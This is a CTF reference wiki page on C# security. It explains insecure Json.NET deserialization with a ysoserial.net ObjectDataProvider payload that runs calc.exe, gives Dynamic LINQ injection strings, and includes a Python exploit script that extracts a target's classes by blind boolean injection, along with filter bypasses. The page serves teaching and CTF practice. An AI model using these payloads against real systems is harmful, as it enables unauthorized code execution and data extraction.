🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • Hello World
  • Deserialization
  • Newtonsoft Json.NET
  • Gadget Chains
  • Finding Gadgets
  • LINQ Injection
  • Version < 1.3.0 RCE
  • Latest version property access
  • Filter Bypasses
  1. Languages

C#

C Sharp and the .NET Framework

PreviousJavaNextAssembly

Last updated 1 month ago

Hello World

The first step is creating a new project. With the console template for a simple CLI app, you can easily fill an empty directory with the necessary files:

Create new project
mkdir HelloWorld && cd HelloWorld
dotnet new console

You can find external packages in the , and then add them to your project:

dotnet add package Newtonsoft.Json

Finally, run the main Program.cs file:

dotnet run

Deserialization

There are different ways to serialize objects in C#, which is the process of turning it into a string. Then, this string can be passed around through other channels and eventually be deserialized to receive an identical copy of the original object.

Creating arbitrary objects with fields is dangerous when this deserialized string is in the attacker's control. By abusing lax configuration, you can instantiate objects with special behaviour to read/write files, or even achieve Remote Code Execution if the right gadgets are accessible.

Newtonsoft Json.NET

The most common form on deserialization in the web is JSON. The library is the most widely-used for turning some string from the user into an instance of a class. The fields on this class define the structure of the JSON, for example ():

public class Account {
    public string Email { get; set; }
    public bool Active { get; set; }
    public DateTime CreatedDate { get; set; }
    public IList<string> Roles { get; set; }
}

string json = @"{
  'Email': 'james@example.com',
  'Active': true,
  'CreatedDate': '2013-01-20T00:00:00Z',
  'Roles': [
    'User',
    'Admin'
  ]
}";

Account account = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(account.Email);  // "james@example.com"

The above example is secure, because it only allows deserializing basic data types. It can be wrongly configured, however, to allow all classes instead, which may include dangerous ones we call "gadgets". This is possible if a JsonSerializerSettings is given as the 2nd argument with a .TypeNameHandling value other than None.

Vulnerable Example
JsonConvert.DeserializeObject<Account>(json, new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All
    // Also `.Arrays`, `.Objects` and `.Auto` are vulnerable
});

This enables a special $type key for each JSON object (also in nested properties) that can reference any loaded class, and set its fields. This is only possible for properties with the Object type because all gadgets will inherit from it:

public class Vulnerable {
    public string Str { get; set; }
    public Object Obj { get; set; }
}

You can easily generate a payload by serializing it first with the same library and classes, then send it to the target. Make sure to include TypeNameHandling.All to ensure any types are included and the target can resolve them. You should structure your classes exactly the same as the target because the $type key includes this information:

Generate Exploit
using Newtonsoft.Json;

public class Gadget {
    private string _input;
    public string Input {
        get { return _input; }

        set {
            _input = value;
            // Imagine some dangerous logic here...
            Console.WriteLine("Command executed: " + value);
        }
    }
}

public class Vulnerable {
    public required string Str { get; set; }
    // Dangerous: this allows the `object` type
    public required object Obj { get; set; }
}

class Program {
    static void Main() {
        // Serialization
        Gadget gadget = new Gadget { Input = "calc.exe" };
        Vulnerable vuln = new Vulnerable {
            Str = "Hello, world!",
            Obj = gadget
        };
        string json = JsonConvert.SerializeObject(vuln, new JsonSerializerSettings         {
            TypeNameHandling = TypeNameHandling.All
        });
        Console.WriteLine(json);  // {"$type":"Vulnerable, JsonTest","Str":"test@example.com","Obj":{"$type":"Gadget, JsonTest","Input":"calc.exe"}}

        Console.WriteLine("-> Press enter to continue..."); Console.ReadLine();

        // Deserialization
        Vulnerable? account = JsonConvert.DeserializeObject<Vulnerable>(json, new JsonSerializerSettings {
            TypeNameHandling = TypeNameHandling.All
        });
        if (account is not null) Console.WriteLine("Result: " + account.Obj);
        else Console.WriteLine("Failed to deserialize");
    }
}

When ran with dotnet run, this will generate the object with payload first, and then serialize it into JSON ready to send to the target. The 2nd part will similar the target receiving the string, and deserializing it into a vulnerable type. You will see that the set {} method is called twice:

Output
Command executed: calc.exe
{"$type":"Vulnerable, JsonTest","Str":"test@example.com","Obj":{"$type":"Gadget, JsonTest","Input":"calc.exe"}}
-> Press enter to continue...

Command executed: calc.exe
Result: Gadget

The syntax is pretty simple, so if you want to, you can even handcraft these payloads. The syntax for the $type key is Path.To.Class, AssemblyName, where the path to the class is follows the nested structure of namespaces and classes to your gadget.

For another example, see the writeup below:

Json.NET is far from the only library allowing arbitrary objects to be deserialized. To get an overflow, see the table below to understand which library supports what features:

Gadget Chains

You'll be very lucky if you have the source code of your target application, and find a single setter in there that allows RCE. Instead, you should rely on chains of gadgets, often in widely-used libraries.

One small gadget can maybe call a function on another gadget, which grabs a property from a third gadget to ultimately use it in an unsafe way. It's an art to combine these in creative ways, and requires a good understanding of what's available and possible in the codebase. The ysoserial.net tool collects such gadgets and can generate them with payloads at will:

To use it, select a gadget chain with -g, select the Formatter with -f (eg. Json.Net). Most gadgets will achieve RCE, and with the -c argument you can customize the final shell command it executes.

$ ysoserial.net -g ObjectDataProvider -f Json.Net -c 'calc.exe' | tr "'" '"'
{
    "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "MethodParameters":{
        "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values":["cmd", "/c calc.exe"]
    },
    "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}

If the target loads the PresentationFramework assembly and you cause it to insecurely deserialize the above payload, the calc.exe command will be executed. If the conditions on the target are unknown, you should try many different known chains until one works.

Finding Gadgets

To find your own gadgets, you should look for code that you are able to trigger during deserialization. These are get {} and set {} methods as mentioned above, but the constructor will also be called. You can pass named arguments to the constructor by your key names, for example:

public class Gadget {
    public Gadget(string input, int input2) {
        Console.WriteLine("Gadget(" + input + ", " + input2 + ")");
    }
}
Payload
{"$type":"Gadget, JsonTest","input":"calc.exe", "input2": 1337}
Output
Gadget(calc.exe, 1337)

Some gadgets will call methods on your arguments, such as the HashMap calling .hashCode() to turn it into a unique integer. This means any vulnerable logic inside an object's hashCode implementation will also be callable if we just wrap in in a hashmap! Combing gadgets in chains like this is the standard way to find exploits.

LINQ Injection

using System.Linq.Dynamic.Core;

var query = products.AsQueryable();
var response = query.Where($"Name.Contains(\"{showProducts.name}\")");

The above inserts user input from showProducts.name into the Where() call, which without sanitization allows an attacker to escape the " (double quote) and rewrite the query. For example:

  • X") || 1==1 || "" == ("X: Shows all products

  • X") || 1==2 || "" == ("X: Empty array

Version < 1.3.0 RCE

The following Github Repository and accompanying article explain how to exploit such an injection for consistent Remote Code Execution.

Latest version property access

"".GetType().Module.Assembly still works to get the Standard Module.

GetType().Module.Assembly gets the module of the object passed into the Where() function, often custom code.

By chaining more properties and using ToArray() on enumerables, it is possible to enumerate all classes, attributes, properties and methods in a module. The following script implements this using binary search and requires a test() function that injects in such a way that you can evaluate a condition.

Exploit Script
import requests
from tqdm import tqdm

HOST = "http://localhost:8000"

def test(condition):
    data = {
        "name": f"X\") || {condition} || \"\" == (\"X"
    }
    r = requests.post(HOST + "/api/products", json=data)
    return len(r.json()["products"]) > 0

assert test("1==1")
assert not test("1==2")

def binary_search(expression, lo=0, hi=127):
    """Find the value of an integer"""
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if test(f"{expression} < {mid}"):
            hi = mid - 1
        else:
            lo = mid

    return lo

def find_string(expression):
    length = binary_search(f"{expression}.Length", hi=2**16)

    content = bytes([binary_search(f"{expression}[{i}].CompareTo('\x00')")
                     for i in tqdm(range(length), desc=expression, leave=False)])

    return content.decode()

types = "GetType().Module.Assembly.DefinedTypes"
types_len = binary_search(f"{types}.ToArray().Length")

for type_i in range(types_len):
    type = f"{types}.ToArray()[{type_i}]"
    type_name = find_string(f"{type}.Name")
    print(f"class {type_name} {{")

    properties_len = binary_search(
        f"{type}.DeclaredProperties.ToArray().Length")
    for property_i in range(properties_len):
        property = f"{type}.DeclaredProperties.ToArray()[{property_i}]"
        property_type = find_string(f'{property}.PropertyType.Name')
        property_name = find_string(f'{property}.Name')
        print(f"  {property_type} {property_name} {{ get; set; }}")

    fields_len = binary_search(f"{type}.DeclaredFields.ToArray().Length")
    for field_i in range(fields_len):
        field = f"{type}.DeclaredFields.ToArray()[{field_i}]"
        field_type = find_string(f'{field}.FieldType.Name')
        field_name = find_string(f'{field}.Name')
        print(f"  {field_type} {field_name};")

    print()

    methods_len = binary_search(f"{type}.DeclaredMethods.ToArray().Length")
    for method_i in range(methods_len):
        method = f"{type}.DeclaredMethods.ToArray()[{method_i}]"
        method_return_type = find_string(f"{method}.ReturnType.Name")
        method_name = find_string(f"{method}.Name")
        print(f"  {method_return_type} {method_name}() {{}}")

    print("}\n")

Example output looks like this (note that some magic members are also added, these can be ignored):

Output
class <>f__AnonymousType0`1 {
  <Products>j__TPar Products { get; set; }
  <Products>j__TPar <Products>i__Field;

  <Products>j__TPar get_Products() {}
  Boolean Equals() {}
  Int32 GetHashCode() {}
  String ToString() {}
}

class ProductsController {
  String secret;

  String testfunc() {}
  IActionResult Show() {}
}

class Product {
  String Name { get; set; }
  String <Name>k__BackingField;

  String get_Name() {}
  Void set_Name() {}
}

class Program {

  Void <Main>$() {}
}

class ShowProducts {
  String name { get; set; }
  String <name>k__BackingField;

  String get_name() {}
  Void set_name() {}
}

Filter Bypasses

  1. Any method call like .GetType() can be obfuscated as .@GetType()

  2. Whitespace also works, eg. . GetType()

is a Microsoft library for C# used to query objects similar to SQL syntax. It does, however, support C# syntax with function calls embedded inside the syntax, such as:

only restricts method calling to predefined types. This means that methods on Strings, Arrays, etc. will work, but methods on custom types will not. It is still possible to run methods on custom types that are inherited from allowed classes, and it is still possible to access any properties.

🌎
NuGet Gallery
Json.NET
source
Language Integrated Query (LINQ)
The patch
LogoNexus Void | Jorian Woltjerjorianwoltjer.com
Writeup including a custom Json.NET deserialization chain to execute commands
LogoGitHub - pwntester/ysoserial.net: Deserialization payload generator for a variety of .NET formattersGitHub
Collection of gadget chains and generator for serialized input
LogoGitHub - Tris0n/CVE-2023-32571-POCGitHub
Proof of Concept of the RCE
https://www.nccgroup.com/us/research-blog/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/www.nccgroup.com
Explanation and technical details of how it was found
Table of serializers and what gadgets you can execute with them ()
source